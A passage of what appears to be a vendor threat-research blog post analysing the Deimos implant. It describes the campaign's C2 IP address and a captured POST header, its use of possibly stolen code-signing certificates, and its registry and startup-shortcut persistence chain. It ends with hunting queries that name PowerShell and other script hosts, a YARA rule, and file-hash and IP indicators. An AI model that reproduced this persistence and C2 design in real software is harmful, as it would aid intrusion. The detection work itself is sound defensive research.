So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.
|
||||
|
||||
## IP Addresses
|
||||
|
||||
As other researchers have noted, we observed the same IP address used in the campaign. This IP address was [first associated](https://www.virustotal.com/gui/ip-address/216.230.232.134/relations) with malicious files on August 30, 2021.
|
||||
|
||||
```
|
||||
IP 216.230.232.134
|
||||
Anycast false
|
||||
City Houston
|
||||
Region Texas
|
||||
Country United States (US)
|
||||
Location 29.7633,-95.3633
|
||||
Organization AS40156 The Optimal Link Corporation
|
||||
Postal 77052
|
||||
Timezone America/Chicago
|
||||
```
|
||||
|
||||
_Figure 8: Information on identified IP address_
|
||||
|
||||
This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.
|
||||
|
||||
While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.
|
||||
|
||||
### Artifacts
|
||||
|
||||
##### Resource Development
|
||||
|
||||
The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a "Spoloènos s Ruèením Obmedzeným" (S.R.O.). An [S.R.O.](https://www.offshorecompany.com/company/slovakia-s-r-o/) is a business designation for Slovakian businesses owned by a foreign entity.
|
||||
|
||||
The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).
|
||||
|
||||

|
||||
|
||||
SRO #2 has been in business since August 19, 2014, and provides a variety of services. The owner of SRO #2 has a single-named partner located in a country in the former Eastern Bloc of Europe (Executive manager).
|
||||
|
||||

|
||||
|
||||
We are unable to state definitively if the organizations or people are intentionally involved, cutouts, or unwilling participants so we will not be naming them. This process of obtaining possibly stolen certificates aligns with other samples we analyzed. It is obvious that however these certificates were procured, the person (or persons) responsible appear well-versed with the bureaucracies and laws required in registering a foreign-owned business in Slovakia.
|
||||
|
||||
## Initial Access
|
||||
|
||||
We observed the most indicators in this tier. Indicators in the Artifacts tier, both host and network, are valuable to a defender because they are difficult for an adversary to change without considerable rearchitecting of the way the malware functions. This differs from atomic indicators (hashes and infrastructure) in that those elements are modular and can simply be updated. Artifacts, like cipher keys (as we'll see below), are often hard-coded into the source code prior to compilation and require significant work to adjust.
|
||||
|
||||
The dropper creates a series of nested directories whose names are 32-characters long, alphanumeric, and lowercase. In all cases we've observed, there are six nested directories, and a single file within the final subdirectory using the same naming convention. During the initial execution, this file is loaded, deobfuscated with a 52-byte static XOR key, and then executed as a PowerShell script. We have included a hunting query in the Detection section that identifies this activity.
|
||||
|
||||
Additionally, the .Net assembly creates a string by listing all files located at %USERPROFILE%\APPDATA\ROAMING. This is stored as the hwid value, which is a unique identifier for this machine. If the file doesn't exist yet, it is created by generating 32 random bytes and encoding them with a custom Base64 encoding.
|
||||
|
||||
## Persistence
|
||||
|
||||
Once executed, the PowerShell script establishes persistence of the malware generating a random quantity between 100 and 200 files in a directory named `%APPDATA%\Microsoft\<random string>`. The random string contains only lowercase and uppercase letters A-Z and the digits 0-9. It could be anywhere between 10 to 20 characters in length. This directory is the staging directory. These files contain randomly generated bytes between 50,000 bytes and 200,000 bytes. The files themselves are named `<random string>.<random string>`, where each random string follows the same convention as the directory name. Lastly, one final file is written to this directory which contains an obfuscated .Net DLL. This is the actual Deimos implant. It resembles the dummy files with similar attributes in this directory, further attempting to evade defenses.
|
||||
|
||||
The next function script will create two registry keys that provide a Windows shell handler for the first file of random data created above. It uses the file extension of that file to associate a request to execute it with running a PowerShell command. The registry keys are created at `HKEY\_CURRENT\_USER\Software\Classes\<random string>\`, where the random string follows the same convention as mentioned above, except for all lowercase characters. The first key will further have a subkey of \Shell\Open\Command that contains the loader PowerShell script. The string value itself has mixed cases in an effort to be more difficult to search for. For example PowErShELl was used in our sample. The second key is effectively an alias that matches the file extension of the first randomly generated file above. It's value matches the lowercase value of the random string used in the first key's path.
|
||||
|
||||
The final persistence artifact is a .LNk file that is placed in the user's StartUp directory. In this sample, it is hard-coded to be named a44f066dfa44db9fba953a982d48b.LNk. The shortcut is set to launch the first randomly generated file above and will open in a minimized window. Upon user login, the link file will tell Windows to launch the file, but it isn't executable. The registry keys above tell Windows to launch the PowerShell command configured in the first key above to execute the file. The PowerShell command contains the full path to the obfuscated .Net DLL and the XOR key to deobfuscate it. Finally, the .Net DLL assembly will be executed by PowerShell by calling the class method [Mars.Deimos]::interact(). This persistence architecture can be difficult to follow in text, so below is a visual representation of the persistence mechanism.
|
||||
|
||||

|
||||
|
||||
#### Command and Control Phase
|
||||
|
||||
The malware provides a general-purpose implant that can perform any action at its privilege level. Namely, it can receive and execute a Windows PE file, a PowerShell script, a .Net DLL assembly, or run arbitrary PowerShell commands.
|
||||
|
||||
There are a few command-specific permutations of payload encapsulations, but they are passed to a common method to perform the web request to the C2 server. The web request uses an HTTP POST method and sets a 10-minute timeout on establishing communication.
|
||||
|
||||
No additional headers are set other than the default headers populated by the .Net WebRequest provider, which are: Host, Content-Length, and Connection: Keep-Alive.
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: 216.230.232.134
|
||||
Content-Length: 677
|
||||
Connection: Keep-Alive
|
||||
```
|
||||
|
||||
_Figure 12: C2 HTTP headers_
|
||||
|
||||
Figure 13 depicts the hex dump of the body of the client's POST request.
|
||||
|
||||

|
||||
|
||||
The first bytes in white are randomly generated and prepended to the body to obfuscate patterns in network communication. There will be between 0 and 512 of these bytes. Next, shown in green, is a null byte, marking the end of random data. The next 10 bytes, shown in blue, are a “cookie” value sent in the last communication from the server. This is likely to prevent replaying captured packets to the server, as each communication is unique. There is nothing specific requiring this to be 10 bytes, but in all traffic we observed, this was the case. In the case of the initial check-in, this is not present. Finally, the remaining bytes shown in red here are the encrypted body. For the initial check-in, this is exactly 256-bytes of RSA encrypted data that includes the key that will be used in follow-on communications, and the unique hardware ID for this implant. For the remaining communications, the client uses AES-128 CBC mode for encryption. For AES encryption, this portion will always be a multiple of 16-bytes in length.
|
||||
|
||||
The RSA public key used for the initial handshake is unique for each campaign. Using the YARA rule in [Figure 24](#yara-rules), we were able to discover a total of 65 samples of the implant. The RSA key provided a pivot to discern unique campaigns, spanning countries from the United States to Moldova. Only 12.5% of the samples included information stealing features, similar to what has been observed with the Jupyter Infostealer. The rest of the samples were the Deimos implant with no additional info stealing capabilities. This could mean that the implant is gaining in popularity as it is full-featured and can be used for initial access and persistence for any campaigns.
|
||||
|
||||
#### Main Loop
|
||||
|
||||
Once the check-in process is completed, the main process loop begins. The default action of the implant during the main loop is the ping action. ping sends information about the environment, including the machine name, Windows version, CPU architecture, information about if the user has administrative privileges, and a version string for the implant.
|
||||
|
||||
If a task is scheduled for the implant, the response to the ping command will contain a status value that is set to either "file" or "command". If no task is given, the implant will sleep for 20 seconds + a random wait between 0 and 20 seconds. This is the wait time between all tasks.
|
||||
|
||||
For "file" tasks, the implant immediately performs another request using the task_id attribute from the task definition to retrieve the file. The implant expects an "exe" file, a "ps1" file, or a "module", which is a .Net Assembly file.
|
||||
|
||||
When an "exe" is downloaded, it will be written to a file in the `%TEMP%\<RANDOM\_NAME>.exe`, where RANDOM_NAME is a 24-character alphanumeric value with all capital letters. A new process is immediately launched by executing the file and the status is reported on the next task interval.
|
||||
|
||||
When a "ps1" file is downloaded, the contents of the script are passed to a new PowerShell process using Standard Input.
|
||||
|
||||
Finally, "module" files are added to a "plugin manager" and executes the "Run" method.
|
||||
|
||||
For "command" tasks, no additional request is required. The "command" value from the response contains PowerShell code that will be executed the same as the "ps1" file type.
|
||||
|
||||
Presumably, the difference is for quick scripts or perhaps interactive operations, the threat actor would use the "command" type. For larger scripts, the "file" type would be used.
|
||||
|
||||
### Tools
|
||||
|
||||
Looking at the metadata from all of the observed samples, we can see a high-confidence connection in that they were all created using a single PDF software platform.
|
||||
|
||||
```
|
||||
Comments : This installation was built with Inno Setup.
|
||||
Company Name :
|
||||
File Description : SlimReader Setup
|
||||
File Version :
|
||||
Legal Copyright : (c) InvestTech
|
||||
Original File Name :
|
||||
Product Name : SlimReader
|
||||
Product Version : 1.4.1.2
|
||||
```
|
||||
|
||||
_Figure 14: Malware lure file metadata_
|
||||
|
||||
While this software seems to be legitimate, it seems to be frequently used to create lure files. We have observed 53 malware, or malware-adjacent, samples created using the SlimReader tool. Additionally, the research team at eSentire [identified](https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire) SlimReader as the tool of choice in the creation of, as reported, many hundreds of thousands of lure files.
|
||||
|
||||
### TTPs
|
||||
|
||||
At the very top of the pyramid, we observe a characteristic that is present in our samples as well as others reported by security researchers. In all observed cases, the malware used techniques known as [Google Sneaky Redirects](https://developers.google.com/search/docs/advanced/guidelines/sneaky-redirects) and [Search Engine Optimization (SEO) Poisoning](https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882) to trick users into installing the malware.
|
||||
|
||||
SEO poisoning is a technique used to put SEO keywords in a document to inflate its ranking on search engines, so malicious documents and websites are higher on web search results. Additionally, Google Sneaky Redirects is a technique used to name the initial malware installer after the Google search as a way to fool the user into clicking on the file they downloaded. As an example, if a user searches for "free resume template", and then clicks on a malicious website that appears to have that file, they will be presented with a malware installer named, in this example, free-resume-template.exe. The malware will leverage a PDF icon even though it is an executable as an attempt to trick the user into executing the PE file, which starts the PowerShell processes highlighted below in the Elastic Analyzer view.
|
||||
|
||||

|
||||
|
||||
Understanding the malware processes as well as how it interacts with the different elements with the Pyramid of Pain is paramount to inflicting long-term impacts to the activity group and intrusion sets.
|
||||
|
||||
## Impact
|
||||
|
||||
The described intrusion sets leverage multiple tactics and techniques categorized by the MITRE ATT&CK® framework. Other TTPs may exist, however, they were not observed during our analysis.
|
||||
|
||||
### Tactics
|
||||
|
||||
- [Resource Development](https://attack.mitre.org/tactics/TA0042)
|
||||
- [Initial Access](https://attack.mitre.org/tactics/TA0001)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
- [Persistence](https://attack.mitre.org/tactics/TA0003)
|
||||
- [Defense Evasion](https://attack.mitre.org/tactics/TA0005)
|
||||
- [Command and Control](https://attack.mitre.org/tactics/TA0011)
|
||||
|
||||
### Techniques / Sub Techniques
|
||||
|
||||
- [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) - [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)
|
||||
- [Develop Capabilities](https://attack.mitre.org/techniques/T1587) - [Malware](https://attack.mitre.org/techniques/T1587/001), [Code Signing Certificates](https://attack.mitre.org/techniques/T1587/002) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588) - [Malware](https://attack.mitre.org/techniques/T1588/001), [Code Signing Certificates](https://attack.mitre.org/techniques/T1588/003)
|
||||
- [Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)
|
||||
- [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) - [PowerShell](https://attack.mitre.org/techniques/T1059/001)
|
||||
- [User Execution](https://attack.mitre.org/techniques/T1204) - [Malicious File](https://attack.mitre.org/techniques/T1204/002)
|
||||
- [Boot or Logon Autostart Execution](https://attack.mitre.org/techniques/T1547) - [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)
|
||||
- [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)
|
||||
- [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) - [Indicator Removal from Tools](https://attack.mitre.org/techniques/T1027/005)
|
||||
- [Application Layer Protocol](https://attack.mitre.org/techniques/T1071) - [Web Protocols](https://attack.mitre.org/techniques/T1071/001)
|
||||
|
||||
## Detection
|
||||
|
||||
There is an [existing detection rule](https://www.elastic.co/guide/en/security/8.0/shortcut-file-written-or-modified-for-persistence.html) that will generically identify this activity. We are also releasing two additional rules to detect these techniques. Additionally, we are providing hunting queries that can identify other intrusion sets leveraging similar techniques.
|
||||
|
||||
### Detection Logic
|
||||
|
||||
Elastic maintains a public repository for detection logic using the Elastic Stack and Elastic Endgame.
|
||||
|
||||
### New Detection Rules
|
||||
|
||||
[Suspicious Registry Modifications](https://github.com/elastic/detection-rules/issues/1488)
|
||||
|
||||
[Abnormal File Extension in User AppData Roaming Path](https://github.com/elastic/detection-rules/issues/1489)
|
||||
|
||||
## Hunting Queries
|
||||
|
||||
These queries can be used in Kibana's Security -> Timelines -> New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.
|
||||
|
||||
This query will identify the initial dropped file containing the obfuscated installer.
|
||||
|
||||
```
|
||||
file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""
|
||||
```
|
||||
|
||||
_Figure 16: Hunt query identifying initial installer_
|
||||
|
||||

|
||||
|
||||
This query will identify the unique “Hardware ID” file (`hwid`) that is created the first time the implant is run. This ID file is used to uniquely identify this installation.
|
||||
|
||||
```
|
||||
file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""
|
||||
```
|
||||
|
||||
_Figure 18: Hunt query identifying Hardware ID_
|
||||
|
||||

|
||||
|
||||
This query will identify any files with a file extension of ten or more characters in the AppData\Roaming path.
|
||||
|
||||
```
|
||||
file where file.path : "*\\appdata\\roaming\\*" and
|
||||
length(file.extension) >= 10 and
|
||||
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")
|
||||
```
|
||||
|
||||
_Figure 20: Hunt query identifying long file extensions_
|
||||
|
||||

|
||||
|
||||
This query will identify a long string value containing the word "powershell" in the Registry.
|
||||
|
||||
```
|
||||
registry where registry.data.strings : "*powershell*" and length(registry.data.strings) \>= 100
|
||||
```
|
||||
|
||||
_Figure 22: Hunt query identifying long Registry strings_
|
||||
|
||||

|
||||
|
||||
## YARA Rules
|
||||
|
||||
We have created a YARA rule to identify the presence of the Deimos trojan DLL file described in this post.
|
||||
|
||||
```
|
||||
rule Windows_Trojan_Deimos_DLL {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2021-09-18"
|
||||
last_modified = "2021-09-18"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Deimos"
|
||||
threat_name = "Windows.Trojan.Deimos"
|
||||
description = "Detects the presence of the Deimos trojan DLL file."
|
||||
reference = ""
|
||||
reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"
|
||||
|
||||
strings:
|
||||
$a1 = "\\APPDATA\\ROAMING" wide fullword
|
||||
$a2 = "\{\"action\":\"ping\",\"" wide fullword
|
||||
$a3 = "Deimos" ascii fullword
|
||||
$b1 = \{ 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 \}
|
||||
$b2 = \{ 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D \}
|
||||
condition:
|
||||
all of ($a*) or 1 of ($b*)
|
||||
\}
|
||||
```
|
||||
|
||||
_Figure 24: Deimos DLL YARA Rule_
|
||||
|
||||
You can access this YARA rule [here](https://github.com/elastic/examples/tree/master/blog/climbing-the-pyramid-with-celestial-themed-malware).
|
||||
|
||||
## Defensive Recommendations
|
||||
|
||||
The following steps can be leveraged to improve a network's protective posture.
|
||||
|
||||
1. Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat.
|
||||
2. Review and ensure that you have deployed the latest Microsoft Security Updates
|
||||
3. Maintain backups of your critical systems to aid in quick recovery.
|
||||
|
||||
## References
|
||||
|
||||
The following research was referenced throughout the document:
|
||||
|
||||
- [https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1](https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1)
|
||||
- [https://redcanary.com/blog/yellow-cockatoo](https://redcanary.com/blog/yellow-cockatoo)
|
||||
- [https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis](https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis)
|
||||
- [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn&ThreatID=2147770772](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn&ThreatID=2147770772)
|
||||
- [http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html)
|
||||
- [https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction](https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction)
|
||||
- [https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer](https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer)
|
||||
- [https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two](https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two)
|
||||
- [https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire](https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire)
|
||||
- [https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882](https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882)
|
||||
|
||||
## Indicators
|
||||
|
||||
| Indicators | Type | Note |
|
||||
| ---------------------------------------------------------------- | ----------- | ------------------- |
|
||||
| f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421 | SHA256 hash | Lure file |
|
||||
| af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21f | SHA256 hash | Malware installer |
|
||||
| d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54 | SHA256 hash | .NET DLL file |
|
||||
| 216[.]230[.]232[.]134 | IP address | Command and control |
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue